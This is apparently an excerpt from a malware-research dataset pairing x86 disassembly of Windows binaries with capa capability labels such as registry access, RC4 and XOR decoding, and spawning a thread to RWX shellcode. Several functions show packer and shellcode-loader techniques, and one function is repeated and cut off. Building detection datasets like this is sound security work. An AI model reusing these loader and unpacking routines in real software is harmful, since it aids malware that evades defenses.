joyce8/EMBER2024-capa huggingface dataset:
Function at 0x476cc0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x60
push ebx
push edi
xor edi, edi
cmp eax, edi
je 0x476dfe
mov ebx, dword [ebp + 0xc]
cmp ebx, edi
je 0x476dfe
push esi
lea ecx, [ebp - 8]
push ecx
push 0xf00ff
push eax
mov dword [ebp - 8], edi
xor esi, esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x476df5
mov eax, dword [ebp - 8]
cmp eax, edi
je 0x476df5
lea edx, [ebp - 4]
push edx
push eax
mov dword [ebp - 4], edi
call 0x41b0b0
add esp, 8
test eax, eax
je 0x476de9
mov eax, dword [ebp - 4]
cmp eax, edi
je 0x476de9
push 1
push eax
lea eax, [ebp + 8]
push eax
mov dword [ebp + 8], edi
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x476d47
mov esi, 0x400
jmp 0x476d4a
mov dword [ebp + 8], edi
push 0x44
lea ecx, [ebp - 0x60]
push edi
push ecx
call fcn.0051d250
mov edx, dword [ebp + 0x10]
xor eax, eax
add esp, 0xc
push edx
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x58], str.winsta0default
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
call fcn.00464b60
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x60]
push ecx
push edi
push edx
push esi
push edi
push edi
push edi
lea ecx, [ebp - 0xc]
call fcn.004427a0
push eax
mov eax, dword [ebp - 4]
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov esi, eax
mov eax, dword [ebp + 8]
cmp eax, edi
je 0x476db6
push eax
call dword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
cmp esi, edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x476dcc
mov ecx, dword [ebp - 0x18]
push ecx
call edi
mov edx, dword [ebp - 0x1c]
push edx
call edi
mov eax, dword [ebp - 4]
push eax
call edi
lea ecx, [ebp - 0xc]
call fcn.00442750
mov ecx, dword [ebp - 8]
push ecx
call edi
mov eax, esi
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call edi
mov eax, esi
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003b50
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
sub esp, 0x118
mov edx, dword [esp + 0x11c]
push esi
push edi
mov edi, ecx
lea ecx, [esp + 0x10]
mov dword [esp + 0x14], edi
mov eax, dword [edi]
push ecx
push 0x2001f
push 0
push edx
push eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x10003bb0
mov ecx, dword [esp + 8]
test ecx, ecx
je 0x10003ba0
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x10]
mov esi, eax
test eax, eax
mov dword [esp + 8], ecx
je 0x10003bd0
jmp 0x10003bb4
mov ecx, dword [esp + 8]
test ecx, ecx
je 0x10003c73
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
add esp, 0x118
ret 4
lea eax, [esp + 0x18]
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push eax
push 0
push 0
lea edx, [esp + 0x18]
push 0
lea eax, [esp + 0x30]
push edx
push eax
push 0
push ecx
mov dword [esp + 0x2c], pe_nt_image_headers32
call esi
test eax, eax
jne 0x10003c3a
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0xc]
call fcn.10003b50
mov edi, eax
test edi, edi
jne 0x10003c80
lea edx, [esp + 0x18]
lea ecx, [esp + 0x20]
push edx
mov edx, dword [esp + 0xc]
push eax
push eax
push eax
lea eax, [esp + 0x1c]
push eax
push ecx
push edi
push edx
mov dword [esp + 0x2c], pe_nt_image_headers32
call esi
test eax, eax
je 0x10003bfc
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 8]
test eax, eax
je 0x10003c51
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 8], 0
mov eax, dword [esp + 0x124]
mov ecx, dword [edi]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
mov eax, dword [esp + 8]
test eax, eax
je 0x10003c73
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
add esp, 0x118
ret 4
mov eax, dword [esp + 8]
test eax, eax
je 0x10003c8f
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
add esp, 0x118
ret 4
Function at 0x10004170
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov eax, 0x1008
call fcn.10005f10
push esi
push 0
push 0
mov esi, dword [esp + 0x1018]
push 0
lea eax, [esp + 0x10]
push 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push esi
mov dword [esp + 0x34], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x100041ba
xor eax, eax
pop esi
add esp, 0x1008
ret 4
mov eax, dword [esp + 4]
cmp eax, 1
jne 0x10004201
push 0
push 0
push 0
lea ecx, [esp + 0x14]
push 0
lea edx, [esp + 0x1c]
push ecx
push edx
push 0
push esi
mov dword [esp + 0x28], 0x1000
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x100041ae
mov al, byte [esp + 0xc]
test al, al
je 0x100041ae
mov eax, 1
pop esi
add esp, 0x1008
ret 4
xor ecx, ecx
pop esi
cmp ecx, eax
sbb eax, eax
neg eax
add esp, 0x1008
ret 4

Function at 0x10004ac0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10c
push ebx
push esi
push edi
mov edi, str.SOFTWAREMicrosoftMicrosoft_ReferenceBilinguals_1.0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov eax, ecx
mov esi, edi
mov edi, edx
push 4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov dword [esp + 0x10], 0x104
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.10005d7f
add esp, 4
mov ebx, eax
lea ecx, [esp + 0x14]
push ebx
push 0x20019
push 0
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10004b3f
lea edx, [esp + 0x14]
push 0
push edx
push str.cannot_open_key
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
pop ebx
add esp, 0x10c
ret 4
mov edx, dword [ebx]
push ebp
mov ebp, dword [esp + 0x120]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
push ebp
push ecx
push 0
push 0x1000f218
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10004b88
mov edi, 0x1000f218
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebx]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x10c
ret 4
Function at 0x100094d8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x1000e9c8
cmp edx, dword [eax]
je 0x100094fa
add eax, 8
inc ecx
cmp eax, 0x1000ea58
jl 0x100094eb
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x1000e9c8]
jne 0x10009628
mov eax, dword [0x1000f228]
cmp eax, 1
je 0x10009602
test eax, eax
jne 0x1000952b
cmp dword [0x1000f22c], 1
je 0x10009602
cmp edx, 0xfc
je 0x10009628
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10009562
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.1000a570
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.1000a2b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x100095a5
lea eax, [ebp - 0x1a4]
push eax
call fcn.1000a2b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x1000c6b0
push edi
call fcn.10006400
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.1000a570
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.1000a580
lea eax, [ebp - 0xa0]
push 0x1000c690
push eax
call fcn.1000a580
push dword [esi + 0x1000e9cc]
lea eax, [ebp - 0xa0]
push eax
call fcn.1000a580
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.1000aa54
add esp, 0x2c
pop edi
jmp 0x10009628
lea eax, [ebp + 8]
lea esi, [esi + 0x1000e9cc]
push 0
push eax
push dword [esi]
call fcn.1000a2b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x40195b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x214
mov eax, dword [0x42c040]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x18], cl
push 0x1e
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x479780]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, ebp
jl 0x40197c
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x4019c2
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + ebx + 0x18], dl
cmp esi, ebp
jl 0x40199f
mov ebp, edi
mov dword [esp + 0x14], edi
inc edi
and edi, 0x800000ff
jns 0x4019ea
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x18]
movzx esi, bl
add ebp, esi
and ebp, 0x800000ff
jns 0x401a03
dec ebp
or ebp, 0xffffff00
inc ebp
push 0x79
call fcn.00401d5a
push eax
call fcn.00403109
mov al, byte [esp + ebp + 0x1c]
mov byte [esp + edi + 0x1c], al
mov byte [esp + ebp + 0x1c], bl
movzx eax, byte [esp + edi + 0x1c]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x14]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ecx + 0x42cad0], al
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x4c800
jl 0x4019d9
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405c73
add esp, 0x214
ret

Function at 0x401c39
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x28
mov eax, dword [0x42c040]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [esp + 0x18]
call fcn.00401e99
push 0xc
call fcn.00405c86
pop ecx
lea ecx, [esp + 0x14]
push ecx
mov ecx, eax
call fcn.00401a5b
mov esi, eax
mov ecx, dword [esi + 4]
shl ecx, 2
push ecx
call fcn.00401d5a
push eax
call fcn.00403109
mov esi, dword [esi + 4]
shl esi, 2
pop ecx
sub esi, 0x40
push esi
call dword [sym.imp.GDI32.dll_GetMapMode]
lea eax, [esp + 0xc]
mov dword [esp + 0xc], esi
push eax
push 0x40
mov edi, 0x4ac
push edi
push 0x4792d0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [esp + 0x10], esi
xor esi, esi
mov ecx, esi
mov al, byte [ecx + 0x4792d0]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [ecx + 0x4792d0], al
inc ecx
cmp ecx, edi
jb 0x401cc2
push ecx
push ecx
call fcn.0040195b
pop ecx
pop ecx
lea eax, [esp + 0x10]
push eax
push esi
push 0x42cad0
push 0x479458
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
call fcn.004027aa
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00405c73
mov esp, ebp
pop ebp
ret
Function at 0x416730
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004165a1

Function at 0x416b2a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00406a20
mov eax, dword [0x42c040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00413ab4
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x416b6c
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x416cc8
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00421530
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x47a5f8]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00417b21
mov ecx, dword [esi*4 + 0x47a5f8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x416cc1
cmp eax, dword [edi + ecx + 0x24]
jne 0x416cc1
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x416cc1
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00417b21
add esp, 0x14
test edx, edx
jl 0x416cc1
jg 0x416c37
test eax, eax
jb 0x416cc1
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x416cc1
jl 0x416c51
cmp dword [ebp - 0x1008], eax
ja 0x416cc1
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x416c6f
test ebx, ebx
je 0x416ca8
cmp ecx, edi
jae 0x416ca8
mov al, byte [ecx]
cmp al, 0xd
jne 0x416c89
lea eax, [edi - 1]
cmp ecx, eax
jae 0x416c95
cmp byte [ecx + 1], 0xa
jne 0x416c95
inc ecx
jmp 0x416c95
movzx eax, al
movsx eax, byte [eax + 0x42c300]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x416c6f
cmp edx, ebx
jne 0x416c6f
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x416cc6
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00405c73
leave
ret
Function at 0x416fbf
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x47a5f8]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x416fff
cmp byte [ebx], 0xa
jne 0x416fff
or byte [eax + edi + 0x28], 4
jmp 0x417004
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x417102
mov al, byte [edx]
cmp al, 0x1a
je 0x4170e4
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x417033
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x417058
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x417062
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x417015
jmp 0x417102
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4170df
cmp dword [ebp - 0xc], 0
je 0x4170df
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x47a5f8]
test byte [eax + edi + 0x28], 0x48
je 0x4170b9
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4170a4
mov byte [esi], dl
jmp 0x4170b5
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x47a5f8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x417102
cmp byte [ebp - 1], 0xa
jne 0x4170c8
cmp esi, ebx
jne 0x4170c8
mov byte [esi], 0xa
jmp 0x417101
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00417b3f
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x417102
mov byte [esi], 0xd
jmp 0x417101
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x47a5f8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4170fe
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x417102
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41710b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x47a5f8]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41714e
cmp word [esi], dx
jne 0x41714e
or byte [edi + eax + 0x28], 4
jmp 0x417153
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4172a6
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x417286
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x417195
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4171cb
cmp eax, edx
jae 0x4171d7
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41716d
jmp 0x4172a6
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417282
cmp dword [ebp - 0x14], 0
je 0x417282
mov eax, dword [ebx*4 + 0x47a5f8]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41725a
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x417223
mov word [esi], cx
jmp 0x417256
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x47a5f8]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x47a5f8]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x47a5f8]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4172a6
pop ebx
cmp word [ebp - 4], bx
jne 0x41726b
cmp esi, dword [ebp + 0xc]
jne 0x41726b
mov word [esi], bx
jmp 0x4172a3
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00417b3f
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4172a6
push 0xd
jmp 0x41729f
mov ecx, dword [ebx*4 + 0x47a5f8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41729d
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4172a6
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x403fbb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40abb0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00402f14
and dword [ebp - 0x14], 0
cmp dword [0x40bdc4], 0
mov dword [ebp - 0x18], eax
jne 0x40406e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x404116
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x404116
mov esi, dword [sym.imp.KERNEL32.DLL_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40bdc4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40bdc8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40bdcc], eax
call edi
push eax
call esi
mov dword [0x40bdd4], eax
test eax, eax
je 0x40406e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40bdd0], eax
mov eax, dword [0x40bdd0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.DLL_DecodePointer]
cmp eax, ecx
je 0x4040c7
cmp dword [0x40bdd4], ecx
je 0x4040c7
push eax
call esi
push dword [0x40bdd4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4040c7
test ebx, ebx
je 0x4040c7
call edi
test eax, eax
je 0x4040be
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4040be
test byte [ebp - 8], 1
jne 0x4040c7
or dword [ebp + 0x10], 0x200000
jmp 0x4040fa
mov eax, dword [0x40bdc8]
cmp eax, dword [ebp - 0x18]
je 0x4040fa
push eax
call esi
test eax, eax
je 0x4040fa
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4040fa
mov eax, dword [0x40bdcc]
cmp eax, dword [ebp - 0x18]
je 0x4040fa
push eax
call esi
test eax, eax
je 0x4040fa
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40bdc4]
call esi
test eax, eax
je 0x404116
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x404118
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404326
leave
ret

Function at 0x404326
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40abb0]
jne 0x404330
repz ret
jmp fcn.004054c6

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x401c66
pop dword [ebp - 4]
mov eax, 0xe66605d9
add eax, 0x19da168d
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x1fc6bd78
add dword [ebp - 0x14], 0x2e8b87d3
mov dword [ebp - 0x10], 0x9ab01c6e
sub dword [ebp - 0x10], 0x687cd029
mov dword [ebp - 0xc], 0x4caf3292
sub dword [ebp - 0xc], 0x62ee64
mov dword [ebp - 8], 0x2fbf1596
add dword [ebp - 8], 0xd040ea6a
lea eax, [ebp - 0x14]
push eax
mov eax, 0xbf32bc5c
sub eax, 0xbef28c08
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0x158749f
add dword [ebp - 0x14], 0x7319f4b7
mov dword [ebp - 0x10], 0x1848b0b7
sub dword [ebp - 0x10], 0xd6dc4f42
mov dword [ebp - 0xc], 0x9d652300
add dword [ebp - 0xc], 0xc60a496c
mov dword [ebp - 8], 0xf01b4dd8
add dword [ebp - 8], 0xfe4b228
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x38c52
push 0
call eax
mov ecx, 0x5128
mov esi, eax
mov edi, 0xde6591a
add edi, 0xf25a16e6
add edi, dword [ebp - 4]
mov edx, 0xd0440656
add edx, 0x11691335
mov ebx, dword [edi]
xor ebx, edx
mov dword [esi], ebx
add esi, 0x747313a7
add esi, 0x8b8cec5d
add edi, 0x8e30b1e0
add edi, 0x71cf4e24
loop 0x401d7d
add eax, 0x161246ab
sub eax, 0x16110f38
xor ebx, ebx
add ebx, eax
add eax, 0xb3fa3163
sub eax, 0xb3fa315e
mov ecx, 0x400000
add ecx, dword [ebp - 4]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
